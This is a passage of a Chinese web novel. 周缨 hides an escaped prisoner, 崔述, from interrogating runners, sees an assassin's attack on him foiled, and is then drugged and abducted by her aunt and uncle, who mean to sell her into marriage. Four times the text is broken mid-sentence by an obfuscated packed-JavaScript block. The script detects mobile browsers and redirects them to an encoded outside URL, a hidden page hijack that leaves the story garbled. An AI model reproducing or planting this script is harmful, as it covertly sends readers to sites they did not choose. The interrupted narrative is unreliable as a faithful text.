真实答案自然是事发突然，押解崔述的官差排查下来无所获，必然会去最近的镇上投宿，后续才是回县衙搬救兵的事，她那时去本镇自然会同其撞上，还刚好抓那些对症的药，很容易就会被盯上，但她只说：“想顺便置办些年货嘛，那天邻镇赶集，何况邻镇医馆的大夫诊金便宜些。” 这倒不是假话，药材贵重，附近百姓小病小痛都是以土方或者自个儿上山采药对付，实在厉害了必须看诊也都更喜去偏实惠的医馆抓药，吕三一时找不到破绽，接着寻根究底：“你说的杨叔是谁？” “五里坪，杨成。” 吕三扬声唤一人去对质，又叫一个矮小如猴的皂隶过来：“验验药罐。” 那矮猴当即蹲身，将那只破了耳的瓦罐掀倒，取刀具在壁上刮了一层已干涸的药渍下来，去后院验了半日，来回道：“是风寒药和外伤药的成分，已辨明全部药材，晚些再去药铺核验。” 吕三颔首，吩咐矮猴将这间耳房一并搜查一遍。 此人心思缜密，层层剥茧，若非一早想得周全，周缨也不敢确定自个儿是否会露馅儿，当下只能沉着心，悄悄关注着他们一行人的动向。 吕三则沉沉地看着她，半刻后，老金进来同他道：“没查出什么。” “墙壁地道都排查过了？” “查了，连鸡圈都查了，没有异常。” 吕三起身往后院去，看着尚在滴水的床单被褥，笑了一笑，叫人把周缨带过去：“今日洗这些？” 周缨不解：“连着下了这么久的雪，好不容易出回太阳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418874|168934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，洗洗预备过年，有何不可？” 吕三吩咐其他人看着她，自个儿往卧室内走去，将两间屋子一应床单掀开，仔细查探一遍，并未发现任何血迹或其他可疑之处，只得作罢。 他返回后院，又细细端量了周缨一眼，再次盘问道：“你家里可有地窖？” 本地寻常人家都会有个小地窖，用以存放番薯，当下用来藏人也是个极佳之所，若此问有异，便可断定此女有问题。但周缨没有任何迟疑，径直道：“有，但离主屋有些距离，官爷若要去，我带你们过去。” 吕三愣了一愣，摆手叫人带她过去。 周缨被两个皂隶制住双臂，强行押着从耳房出去，杜氏见状慌乱起来，周缨刚要出言安慰，膝弯便被撞了一下，方知此人是故意如此，只得住了声。 等人走远，吕三在惶惶不安的杜氏身侧坐下，拿了一杯热茶递给她，笑着同她套近乎：“大姐，你女儿这几日一直在家里守着你，没有出去过？” 杜氏满脸仓惶，不肯出声。 “大姐，你当真不记得我了？我在县衙当差，当年你毒杀杨泰，我奉命来缉拿你归案，就在这间屋子，我亲自给你上的镣铐，那会儿你那女儿，”吕三伸手在腰际比了比，笑得瘆人，“大概才这么高点，哭着喊娘，非拦着我们不让走，还是我踹了她一脚，将她踹得爬不起来，才把你押走了。” 杜氏长年轻颤不止的身子停了一瞬。 这变化叫吕三捕捉到，不由露出一丝得意的神色，继续威逼：“你若不说实话，你那女儿也得跟你当日一样，去牢狱里走一遭。那地方你待过，滋味你这辈子肯定忘不了，装也装不了。” 杜氏忽地探手拽住了他的袍袖。 吕三神色为之一动：“你果然记得。好好想清楚，要不要说实话。” 杜氏眸中的光亮又暗淡下去，只重复地唤“杳杳”。 失望不已，但吕三仍未放弃，留她一人在灶下，出门在廊下站了一站。 老金道：“你方才还劝我多一事不如少一事，马上小年休沐了，咱就这点人手，还得赶紧去把周围人家全部搜检一遍。说句不中听的，寻不寻得到人有什么要紧，负责押解的又不是咱们，追不追究的也不干咱们的事，交完差安生过年才是正事。” 吕三看向被押着往回走的周缨，只说：“这女的不对。” “有破绽？” “没有。”吕三凝神，缓缓摇头，“但我直觉不对。” “行了，何必多事？”老金劝他，“两个女人而已，小的弱，老的疯，就算真碰上了，怎么救？” “倘若他命大没受伤，只需搭把手就能救下呢？” “怎么可能，那陡崖，不死也残。” 吕三摇头，闭目想了一想，说：“容我再试一回。” 周缨被押回近前，吕三叫人堵了她嘴，将耳房门从外锁上，唤来那矮猴：“她的声音都记住了？” 矮猴点头。 “问里面那人。” 周缨登时意识到不妙，方要挣扎，已被大力制住，紧贴在壁，动弹不得。 那矮猴低低清了清嗓，冲门内唤道：“娘。” 声音竟和周缨有七八分相像。 杜氏正惶惑不安间，听到熟悉的声音，蹒跚往这边赶来，却被反锁的门阻住去向，只得停在门后，听这声音继续道：“咱们家里那人突然找不到了，你看见过没有？” 11. 飞蓬向远（三） 门内传来极轻的低语声。 吕三抬手示意所有人噤声，将耳朵贴在门上，尽力听了半天，一个字也没能辨清，只得指使矮猴接着使诈。 “娘，这些人非要抓我去县衙，说找不到人就要将我投进大牢，你有没有看见过他？要是能找到他，我就没事了。” 里面沉默了半刻，杜氏含糊不清的声音传出来：“那混账早死了，就、就摔、摔在沙河里。”里头嘶哑得近乎诡异的声音传出来，“摔死的。” 矮猴毛骨悚然，压低声音同吕三道：“这是真疯了，就算真能诈出来，疯子说的话又怎么能信。” “你错了。”吕三瞥周缨一眼，“疯子说的话，比清醒的人说的可靠。” “可这也没问出来什么。”老金在一旁接话道，“这村里这么多户人家，咱可还得挨家挨户地搜呢，明日必得结了这差事好过年，别再耽搁了。” 两人既资历相当，互相都得给个薄面，吕三不好擅专，摆手叫人放开周缨，率队撤出小院。 周缨目送这一行人撤往后山，揪着的心缓缓坠回原地，爬起来打开门锁，将杜氏拥入怀中，轻抚脊背替她顺气：“阿娘，莫怕，我在。” 杜氏仍旧是那副不大清醒的模样，方才所言大抵也并非突然神智清明巧妙避开陷阱，而是巧合使然。 周缨将她安置在灶后烤火，绕到西侧将受惊四处扑扇翅膀的鸡赶回竹篱围成的圈中，喂完食后，高亢的“咯咯”声终于停歇下来，吵闹的小院恢复了寂静。 安抚好黑豆后，周缨进到杜氏房间，将被翻乱的房间仔细收拾干净，铺床时更是将床褥一点点地整理平整，极为尽心。 手指无意间触到棉絮中间的一小块硬块，周缨在榻沿坐下来，欲将坏棉拆掉重新缝制一遍。 方将线理清，慢慢拆了半圈，她便顿住了动作，那处极小的硬块并非预想中的坏棉，而是一张折叠数次的泛黄纸张。 犹疑片刻，周缨将那张薄脆的纸张摊开来，借着室内昏暗的光细看了一遍，上头写着几个小字，笔迹隽秀，但她认不出写的是什么。 那晚崔述问她是否想学，她回的那一句“学来做什么”虽是半真半假，但今日悔恨自己不识字却是极真。 思及此处，周缨抿唇将这纸叠好放入怀中，顺着原本的针脚将棉絮重新缝好。 等收拾好床榻，她引杜氏回房休息，将炭添得更旺。 杜氏歪着头看她，她温声安慰：“放心，咱们没事了。” 将杜氏安顿下来，周缨退出门，慢悠悠地整理着自己的房间，天擦黑时，听得外头传来对话声。 林婶笑着同大伯母徐氏打招呼：“你怎么也来了？来看阿缨？” “可不是么？”徐氏赔着笑脸，“邻镇有户人家喜欢我们丫头得不得了，这才几日间便来过两次了，想讨我们丫头去做他家儿媳。人家这般诚心，我少不得要来跑一趟了。” “哪户人家？” 徐氏遮掩道：“家里殷实的，附近数一数二的人家，也看重丫头，托媒人来提了两次了。” “那是好事啊。” 徐氏叹道：“可不是么？可惜咱们丫头年纪还小，不懂事得很，半点看不上，上回我过来，直接拒了不说，还迁怒于我。” “阿缨兴许是想多陪陪她娘，不过这事确实也耽误不得，晚些我帮你劝劝。” 徐氏这才乐起来：“你怎么今日也来了？” “阿缨这丫头实在太讲礼数，前几日借了我家骡子使，便买了些肉来……”话到此处，林氏意识到旁人倒无碍，独独此人面前不能说这事，忙止了话头，“刚官府盘问到我们家去了，我才知道这山里居然有逃犯，她们娘儿俩独门独户的，我不放心，赶来看看。” 然而徐氏已经听明白了，这小贱蹄子居然给外人买肉反而对她恶言相向，遂冷嗤一声：“这丫头主意大着呢，能有什么事。” 周缨立在窗下听完二人的对话，开门出来，徐氏瞬间收了夹枪带棒的措辞，换上一副讨好的笑：“丫头，上回伯母同你说过的事，今日天刚晴，人就又请了媒人来说合。对方接连来两次，聘礼也给得足，这般有诚意，往后必然好好待你的。你说你这丫头，不要不识好歹，再仔细考虑考虑。” 林氏这才听出几分不对劲来，再去看周缨凝了寒霜的面容，还有什么不明白的，赶紧问道：“阿缨，你大伯母说的是哪户人家？我帮你参谋参谋。” “还能是哪家？”周缨提手去拿靠在墙边的扫帚，“邻镇赵铁匠的三儿子。” 林氏先是一愣，而后反应过来，抬手指着徐氏便斥道：“你好歹是做伯母的，怎么能把自家侄女儿往火坑里推？” 没想到外人居然也敢这般指摘她，徐氏脸一阵红一阵白的，提高声音反呛道：“你睁眼说瞎话个什么，赵家在咱们十里八乡算是多么富足的人家，我这是为她寻个好前程，她一个小孩儿不懂事也就罢了，你这老大不小的了，怎么也跟着犯浑？” “我看你是连‘羞耻’二字都不知怎么念了！黄白之物看得比命还重，自家侄女儿却视如死物。”林氏痛心疾首，“你年轻时也是谁见着都要夸一句贤良的人，老来怎么变成这副见钱眼开的孬种模样？” 徐氏被人指着鼻子骂得狗血淋头，一转头看见周缨闲倚在墙壁上看她笑话，气得一佛出世二佛升天，不敢骂家中有男人撑腰的林氏，便一跺脚骂周缨：“你这小蹄子，早晚有你后悔的时候！”说罢瞥见黑豆又在一旁虎视眈眈，吓得屁滚尿流地疾步逃了。 林氏这才拉过周缨的手，轻轻拍了拍：“你这伯母是个老糊涂的东西，这副嘴脸着实可恶，但愿你伯父明些事理，不要胡乱为了几个臭钱就干出卖侄女儿的勾当来。” 周缨垂目，淡声道：“我娘还在，我的亲事还由不得他们做主。” “可你娘，”林氏话说到一半，叹道，“罢了，往后再说。若这俩人当真财迷心窍，我和你成叔必然护着你，请族老替你做主，阿缨不怕啊。” 周缨鼻尖一酸，请 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418875|168934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她去耳房坐：“婶婶怎么来了？” “衙役搜到我家去了，我本想着那逃犯从后山上摔下来，应当不死也残，没什么大事。”林氏顿了一顿，“但有个捕快不知为何问了许多关于你们娘儿俩的事，我心里发慌，便想着过来看看。” 周缨笑笑，不甚在意地说：“我家离那儿最近嘛，怀疑我也是应当的。只是一个大男人，我家中这样，怎么好收留他的。查不到证据，官府也没有随便抓人的道理，婶婶放心。” “那便好。不过也不知人到底是不是真摔进河里了，要是只是暂时藏起来了，你家偏僻些，万一遇上歹徒，实在也……这样，我叫你成叔过来守上两日，等确认没事了再回家。” 周缨连连阻拦：“官府都说是十七那日的事了，这么冷的天儿，若真侥幸没摔死，在山里也早就活活冻死了。说句不怕您多心的话，我家就我和我娘两人，成叔过来也不合适，容易惹闲话。” “也是。瞧我这脑子，做起事来顾头不顾尾，那便罢了，你自己当心，万一有事记得来找我和你成叔。”听她应下，林氏又问，“你娘好全了么？我瞧瞧她去。” 周缨将她往杜氏房间引：“寒症好全了，其他的，也就是平常那样了。” 叙话几轮，周缨留林氏吃晚饭，林氏不肯，她也不强留，将人送出院门外，回来着手做晚饭。 等吃过饭安顿杜氏睡下，周缨也不急着动作，在檐下听了半宿的风声，回房安安稳稳地睡了一觉，第二日早间便背上背篓去后山照看茶树，顺带捡柴。 吕三派人暗中蹲守了一整日，都没见着异常，反叫她折腾得怨声载道，迫不得已鸣金收兵。 等将近入夜时分，在沙河岸边搜寻的衙役也无功而返，此事便定性为囚犯失足坠河失踪，暂且告一段落了。 周缨依旧谨慎，耐心再等待了两日，到小年那日官府张贴告示闭门休沐，确认再无风险，将近入夜时分，才沿着山道进入侧柏林。 她进到洞穴中时，崔述正坐在榻边倒水，预备盥洗休息，瞧见她来，愣了一下方说：“遮掩过去了？” 周缨颔首：“应当没事了。官府今日闭门，一直到上元日过后才会重新理事，你家人可以趁机带你离开，便算彻底安全了。”说完又纳闷儿道，“但你家人怎么还没跟来，难道官府闹出这么大阵仗，你家人却还在睡梦中不成？” 心中沉甸甸的巨石彻底坠下，她此刻脸上神色放松，暗室似也添了两分柔和。 崔述拧干手中巾帕递给她，唇边无意间也带了丝浅淡的笑意：“擦擦吧。” “哪里脏？”周缨接过帕子，却不知何意，只好等他指示。 崔述抬手指了指自个儿的右脸颊，周缨与他相向而立，顺势往自个儿左脸擦去，他不由一笑，指向她的右颊。 周缨失笑，抬手去擦方才在林间穿梭时染上的脏污。 箭矢破空之声在此刻传来，崔述猝然抬眼，一支自弯道处射出的弩箭疾刺而来，正正对向周缨的后背。 12. 飞蓬向远（四） 深夜幽穴，阒寂无声，唯有气流被骤然撕开一道狭长的口子，四散涌动避逃。 此箭快若流星，周缨不及作出反应，正自仓皇间，左腕陡然被人扣住，旋即一股大力将她拽偏，身子斜摔出去的瞬间，箭身擦着她的脸颊快速掠过，径直没入床榻上方的石壁中。 周缨扶着山壁稳住身子，惊魂甫定地看向暗处的石壁，其上箭尾犹在嗡嗡颤鸣。 周缨犹觉身子发软，深吸口气，向崔述投以感激的一瞥。 方才动作幅度太大，牵扯到腿上的伤，剧痛令崔述额间冷汗涔涔。留意到她投过来的目光，崔述忍疼向她颔首，示意她安心，随即转头看向来人。 一击不中，以黑布遮面的来人再次平举右臂，缚在小臂上的弩机蓄势待发。动作不疾不徐，鹰眼中却流露出毫不掩饰的杀意。 “道全。” 崔述准确无误地叫出来人的名字。 羽箭即将离弦，却在此刻不易觉察地轻颤了一下。 崔述了然，极轻地叹了一声：“致仁就这般容不得我，设法逐我出京尚不够，非要我身首异处才能彻底放心？” 周缨闻言往这边看来，因听不懂他话中纠葛，目露探询之色。 不速之客取下面巾，向崔述谦卑颔首。 被道破身份后，道全目中杀气尽敛，甚至带着些许平和与恭敬，然而左手仍旧平举持高，箭矢一分不偏地对准崔述胸膛。 “小的不过奉命行事，并不知崔三郎与我家主人有何渊源，故不能回答此问，还请见谅。” “也罢。”崔述淡淡苦笑，斜觑周缨一眼，而后目光凝在前方泛着冷光的箭镞上，平声道，“不得取无辜之人性命。” “方才不过因欲先发制人而误判形势，崔三郎放心，此言道全谨记，定不敢擅作主张多造杀孽。” 方才如此笃定出言，也是清楚他家主人的性子，知他不会平白无故滥杀无辜，闻得此言，崔述放下心来，微阖双眼，等待弦响。 方才受崔述之恩，被他从鬼门关拉回，周缨见他竟安然赴死，下意识地往前急奔一步，欲要阻拦，忽地瞥见他微微抬起的左手，又生生顿住了动作。 “哧”的一声，箭矢没入血肉的声音传入耳中。 幽室静谧，仅有一盏油灯用以照明，盛着灯油的灯碟被箭风带翻，室内倏然陷入黑暗，仅炭盆里残存的火星透出一丝微弱的光亮。 借着这晦暗的光线，周缨恍惚间看见崔述所在的方向仍有一团雾影还好端端地站在原处，那身影虽因痛楚而微屈，但并未脱力坠倒，再回头看去，拐角处的不速之客已猝然栽倒在地，才缓缓回过味来，原来并不是他用以防身的暗器所致，而是救兵到了。 她站直身子，看向沿着窄道进到拐角处的两人。 二人逆光而行，身形轮廓隐约可辨，要确认身份却有些困难，但从方才行事来看，必是他口中所说的家人了。 来者是崔述的两名亲随，一名奉和，一名束关。 二人向崔述叩首，一名个头稍矮的解释道：“此人并非独自行动，外头还有埋伏，小的们被绊住，不得不先解决外头的麻烦，故才来迟，险些酿成大祸，还望郎君降罪。” 应是早就料到如此情景，崔述并未多问，也未苛责，抬手叫起，吩咐二人先将内外痕迹处理干净。 轻微的脚步声逐渐远去，暗室里恢复初始的静寂。 幽暗的空间里，炭火蓦地轻爆了一下。 光线乍然亮了三分，崔述侧身看了周缨一眼，缓步走至她跟前，弯腰拾起坠落的灯碟，将棉线制成的灯芯理顺搭在碟口边沿，取火折子引燃灯芯。 烛火毕剥了一下，灯花轻轻爆开。 灯油几乎倾倒完毕，仅底部残存些许，火势微弱，扑闪间忽明忽灭。 周缨慢慢回过神来，随他投过来的目光往下看，方注意到自个儿仍旧握着那方帕子，只是热气早就散尽，已然冰凉如铁。 她往前走了一步，打算将巾帕放回盆中，崔述自她手中接过，歉然道：“因我旧怨，累姑娘涉险，还请恕罪。” “我当初出手相帮时就想到过这情况，所以还好。”周缨心绪已渐渐平宁，淡道，“只是那时以为撞上的会是县衙官差，没想到会是你的私敌。” 腿上的伤疼得厉害，崔述扶着榻沿坐下来，取炉上水壶往盆中新注入一半热水，躬身仔细清洗巾帕，拧干递给周缨。 周缨接过，往他先前所说的位置胡乱擦了两下。 温热之感循着肌理缓缓传入心房，周缨终于确认此事已然结束，往后不必为此提心吊胆，心中缓缓松快下来。 “这十日，多谢姑娘照顾。”崔述目光沉沉地看着她。 这显然是辞别之意，周缨简单“嗯”一声，示意她知道了，并未过多客套。 “你日后有何打算？” “嗯？”周缨一怔，不知他为何如此发问。 崔述开口略显迟疑：“上回无意窥听见你家中私事，你伯母颇为强势，你可会被刁难？若有需要，我可助上一臂之力，以还今日之恩。” “我阿娘在，婚事他们做不得主的。”看他素日行事做派，再看今日这二人的身手，周缨知晓他应当有这样的本事，不是虚言，但她素来没有依赖旁人的习惯，何况她即将离开，徐氏奈何不得她，于是淡道，“再说我也将离开此地了，她的如意算盘成不了的。” 崔述微愕：“离开此地？你打算去哪儿？” 问完又觉得此问有些唐突，但也未找补，反而更为坦荡地看着她，静等着答案。 周缨迟疑片刻，从怀中取出那张泛黄的纸，缓缓摊开递给他：“说到这个，有一事想请你帮忙。” 崔述接过这张年份久远的纸笺，凝神看去，其上只记载着简单的几字，疑惑地看向周缨。 “能不能请你告诉我，纸上写的是什么。” 的确是个不识字的农女罢了，崔述垂眸，刻意放缓速度，一字一顿地念出纸上的字——“棠县，周宛，父周秉全，母裴润。” “哪个宛字？” “宛如。”崔述 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418876|168934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 取过一枝冷杉，在地上勾画出一字。 周缨同他道谢，并未多言。 “你要去此地？” 周缨几乎在顷刻间便做下决定，“嗯”了一声。 “棠县在宁州，地处北方，从平山县一路往北，马车出行，路上若无意外，需一个半月，食宿中等的话，两人需盘缠近二十两。按你娘的状况，若要舒适些，恐怕要翻番。” 周缨垂目看着手中的巾帕，视线聚焦在她刚擦上去的一小团脏污上，平声道：“好，我知道了。” 平心而论，崔述心内难免讶异，贫瘠之地见识浅薄的农女如此突然地说要离开生长之地去往外地，确实并不常见。但他想了一想，并未追问缘由，只征求她的意见：“棠县距玉京不远，我要去一地办事，事成后立即折返玉京，你若愿意，可与我同行，如何？” 见周缨不出声，他又解释道：“放心，我并无其他意思，只是女子在外多有不便，我将绕行之地又不远，不会耽误太久，故才出此言，你可以认真考虑一下。” 周缨蹲身，将巾帕放入盆中，缓慢搓洗起来，水流撞壁之声哗哗响起，她絮语道：“你既有事在身，我带着我娘一道终归不方便，好意我心领了，但不必麻烦。” 她既如此坚持，崔述也不好再劝，便道：“也好，你何日动身？” 周缨盘算了下，笑着说：“原本可能还要耽误些时日攒盘缠，但你这财神爷自己送上门来，有你先前答应的报酬在身，等上元过后官府开衙办完凭由就走吧。” 她不因开口索财而赧然，反而落落大方，崔述没忍住一笑：“这是自然，劳神费力这些时日，纵是雇人也该有重酬，此酬姑娘应得。” 奉和自外头进来复命，崔述从他手中要来银票，留够他们三人的盘缠后，将其余厚厚的一沓一并递给周缨。 周缨辞不肯受：“说好八十两便八十两，我不贪心，先前同你说过的。” 僵持片刻，崔述递过来几张散票：“面值总共只有百两，出门在外，散票方便些，你留着吧。” 周缨将手中巾帕放下，站起身来，在身上擦干手，用两指取过：“也好，你我两清了。” 崔述颔首，转头吩咐亲随：“束关，等年后，你回此地，护送这位姑娘去往棠县。” 束关沉声应是。 周缨还要推辞，崔述道：“我有要事在身，需要他一同前往沧州几日，不然此刻便会将他留下。你不必再辞，倘若你不喜生人同行，他会藏于暗处，不会现身扰你。” 相逢以来，他惯来言语温和有礼，令人如沐春风，当下这一番话却强硬有加，根本不容人有分毫拒绝。 周缨思虑片刻，不再推辞：“既然如此，多谢。” 崔述面色稍霁。 “夜深了，山路不好走，这儿物什还算齐全，你们三人在此再歇一晚，天亮之后再自行下山治伤吧，我就不送了。” “好。” 周缨往外走去，将过拐角时，转头看了崔述一眼，而后不再停留，径直往来路去了。 13. 郊野冻草（一） 冬寒凛冽，雪势复起，山间小镇满目皆白。 新岁将至，周缨将屋里屋外打扫一新，满心欢喜地准备年夜饭。 等肉食出锅，她拿碟子盛了一半，用竹篮装好送到五里坪，和杨成夫妇互相问好道贺以后，返回家中预备开饭。 今夜菜式丰盛，杜氏屋中常用的小几无法摆全，周缨破例就在厨房的大八仙桌上摆饭，等一切准备就绪后，将杜氏搀扶过来就座。 灶旁燃着火，门窗闭合，屋内暖和，黑豆安静地趴在桌下，眼珠子却随周缨的动作转来转去，只等着盛宴开始。 周缨夹了两块骨头扔至它跟前，黑豆将骨头捧握在嘴边，专心致志地啃着。 周缨笑看了片刻，搓搓因浆洗太多而泛红蜕皮的手，替杜氏夹了两块她往日最喜欢的酥肉：“阿娘，现炸的，味道好些，你尝尝。” 过往数年间，母女二人相依为命，从未有过如此丰盛的年夜饭，杜氏不知缘由，脸上却挂着笑，乐呵呵地挑自己最爱的菜吃。 周缨替她盛了半碗米酒，笑说：“年夜喝这个也是极好的。” 杜氏接过，仰头喝过一口，满足地冲她笑笑，惹得周缨唇角微扬。 酒饭过半，周缨趁杜氏吃得认真，冷不防地试探唤了一声：“周宛？” 杜氏起初无甚反应，周缨再唤了一声，便见她执筷的手动作停滞了下来。 “原来你忘了这么多东西，却还记得你的名字。”周缨浅浅笑了一下，“阿娘，等上元过了，我去官府办好凭由，带你回家好不好？” 杜氏没出声。 “带你回棠县，去找你的爹娘，好不好？”周缨语调放得极轻，似在哄小孩。 杜氏没有接话，却破天荒地多喝了半碗米酒，以至于染了醺意。 周缨扶她回房歇息，坐在榻沿看向她布满风霜的脸，微屈上身，将右颊贴在她颈侧，轻轻地叹了一声。 回到厨房坐了片刻，炉上水沸，咕噜噜地往外冒着白汽，周缨轻抚着黑豆的背，看了须臾，神思逐渐恍惚起来，脑中渐有眩晕之感，顿觉不妙，恰巧门口传来窸窸窣窣的杂音，周缨心头一凛，摇头迫自己保持清醒，凝神看向那扇老旧木门。 徐氏刻意压低的尖刻声音从门缝传进来：“你这烟到底管不管用？这么久了，也不知道晕没晕。” 周缨定睛往门口看去，门板下方果然伸进来一支竹管，正往外冒着白烟。 她举袖捂住口鼻，听见自个儿大伯父犹疑不定的声音：“老婆子，要不别干了，这事总归缺德。弟妹人还在，咱们就这么悄悄把阿缨嫁了，说起来也不占理，何况这大过年的。” “干都干了，你怕什么？就她娘那个样，她还能说到门什么好亲事不成？又当真能为她的婚事做主不成？咱们这也是为她娘俩儿好，嫁过去别的不说，至少吃穿不愁。”徐氏声调陡然一高，“再说了，你这会儿充什么好人，你当年悄悄上官府告人家毒害你弟弟的时候怎么不当好人了？” 被人揭了老底，杨固的声儿低了下去。 徐氏意犹未尽地骂骂咧咧：“我警告你，别给我拖后腿，我都和赵铁匠谈好了，就是要趁着过年官府不理事，将人送过去。等过完年，生米早煮成熟饭了，这小贱蹄子定也不敢声张，何况去报官。你要不敢动人，就给我盯住了她那只小畜生，别叫它咬人。” 徐氏说完，重重将门推开。 门板撞到墙上，激起一阵飞灰，徐氏刚抬手一挡，肩上就挨了结结实实的一棍。 周缨提着一根粗壮的榆木棍站在门后，眼神不善地盯着她，黑豆跟在她脚边，狂叫起来。 徐氏怒火中烧：“你这什么破烟，连个女人都药不倒！”将袖子一捋，吼杨固道，“过来搭把手！” 杨固被吼得一激灵，手中的石块当头砸下，黑豆被药得行动迟缓，未能躲开，血迹顺着脑袋蜿蜒往下。 周缨原本迷迷瞪瞪的，被这一幕骇到，登时清醒了三分，瞥见徐氏气势汹汹地朝自个儿走来，用尽全力再次举棍，只是这回木棍还没落下，就被有了防备的徐氏一把夺过，反手在她身上抽了两棍，将她打倒在地。 周缨挣扎着想要起身，勉强试了几次，手肘处的衣物都已蹭得肮脏不堪，还是只能半跪着撑起半个身子，站不起身。 徐氏上前将她一脚踹倒，取下腰间缠着的粗麻绳，使劲儿将她双臂扭了：“就知道你这贱蹄子不老实。反了天了，竟敢打你伯母。” 杨固在一旁看着没动作，徐氏怒气更盛，边将周缨四肢扭在一处绑紧，边呵斥他：“就你会做好人！你不贪那十两银子，你跟来做什么？赶紧滚去找个厚实的麻袋来。” 杨固被她一喝，如梦初醒，赶紧举着灯碟四处照看。 灯盏被拿走，仅剩地上的火堆照亮，周缨躺在地上，面庞被近在咫尺的火光烘得亮亮的，耳畔是黑豆痛苦的呻吟声，只得睁圆了双目，死死盯着徐氏。 徐氏被这眼神看得心虚了片刻，不过须臾，又啐她一口：“早让你听话，三家皆大欢喜不好？等你嫁过去，你娘再一死，你爹留下的这些东西都归了我，岂不对谁都好？非要作孽。” 药效渐起，周缨眼皮沉重得支撑不住，逐渐耷拉下来，再无反抗之力，只能试图和她讲和：“我有钱，你放了我，我给你更多。” “你能拿得出十两银子？唬谁呢？一年到头忙活得像头老黄牛，能攒够几贯钱？”徐氏冷嗤一声，随手扯过条布巾浸过水，在周缨脸上胡乱揩了两把，反手团成团塞进她嘴里，不许她再出声。 “这老东西买药都不舍得买点好的。”见周缨死死盯着她，徐氏怒从中起，反手在她脸上拧了一把，讽道，“难怪瞧得上你，这么一看，长得倒也还算不赖。” 两人合力将周缨装进麻袋，杨固把麻袋扛在肩头，正要出去，徐氏忽然叫住他：“等等。” “怎么？” 餐桌上的碗筷尚未收拾，徐氏观察了片刻，纳闷儿道：“他们家不可能吃得起这么好的东西，难道这死丫头没骗我，她当真有钱？” 杨固嘁道：“这丫头是勤快，但毕竟就她一个劳力，能攒出多少银子来？” 徐氏听到这话倒不乐意了，指挥他将麻袋放下，将人再搜一遍。 被翻来倒去地折腾得厉害，周缨痛苦地低哼出声，杨固埋着头不敢与她直视，边在她身上摸索，边劝道：“丫头，别怪大伯父，有钱人家看得上你，是你的福气，你要知足。” 徐氏到周缨卧室里翻箱倒柜一阵，寻出那只旧荷包，倒了个底儿朝天，也只翻出来二两碎银，徐氏气不过，抬脚就使劲儿踹了麻袋一脚：“这小贱人，果然又骗我，我当她除了卖身，还有什么法子能挣够十两呢，还好没被她糊弄。”说着便将荷包往旁一扔，碎银则塞进怀里，眼角得意地挑了挑。 杨固将人重新装回麻袋，先一步扛着出去，徐氏在后头熄灭灯火，临走时没忘往奄奄一息的黑豆身上也踹了一脚：“混账东西，叫你咬我，活该！” 光线晦暗，杨固出门时没留意，踩中方才自个儿设下的竹管，脚下一滑，人往前扑去，肩上的麻袋也重重摔出去，落在雪地里，惊起“砰”的一声响。 杨固心下发慌，徐氏稳住他：“没事，她娘一直睡得早，再说就算醒了也没事，她能认出我们是谁，在干什么？” 听她如此说，杨固放下心来，将麻袋重新捡起扛回肩上，催促徐氏快点走。 徐氏迈大步子往外跑，边疾走边不忘埋怨：“关键时候都抠门儿，买烟都不知道买好点的。” “杳杳，杳杳……” 主屋门在此刻忽地被打开，杜氏赤脚蹒跚地走出来，和行事诡异的二人撞了个正着，却只停留了片刻，便径直奔往厨房，口中仍在喊着周缨的乳名。 徐氏慌张道：“快点，别理那疯子。” 杜氏去厨房没寻到周缨，又去卧房找了一圈，一无所获，忽然意识到什么，看向逃至院门口的两个生人，喊道：“杳杳呢？” “没看到，快回去睡觉，天亮她就回来了。”徐氏头也不回地糊弄道。 杜氏沉默片刻，似是信了她的鬼话，正要转身回房，黑豆忽然颤颤巍巍地跟了出来，在厨房门口蓄力了须臾，随即用尽全力冲向徐氏，在她腿上狠狠咬下。 徐氏躲闪不及，痛得撕心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418877|168934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裂肺地喊叫，原地转了几圈儿，又踢又打，黑豆始终不肯松口，只死死咬住她的裤管。 杨固见状，赶紧将肩上的麻袋往旁一扔，捡来一块石头，冲着黑豆脑袋再次猛砸了几下。 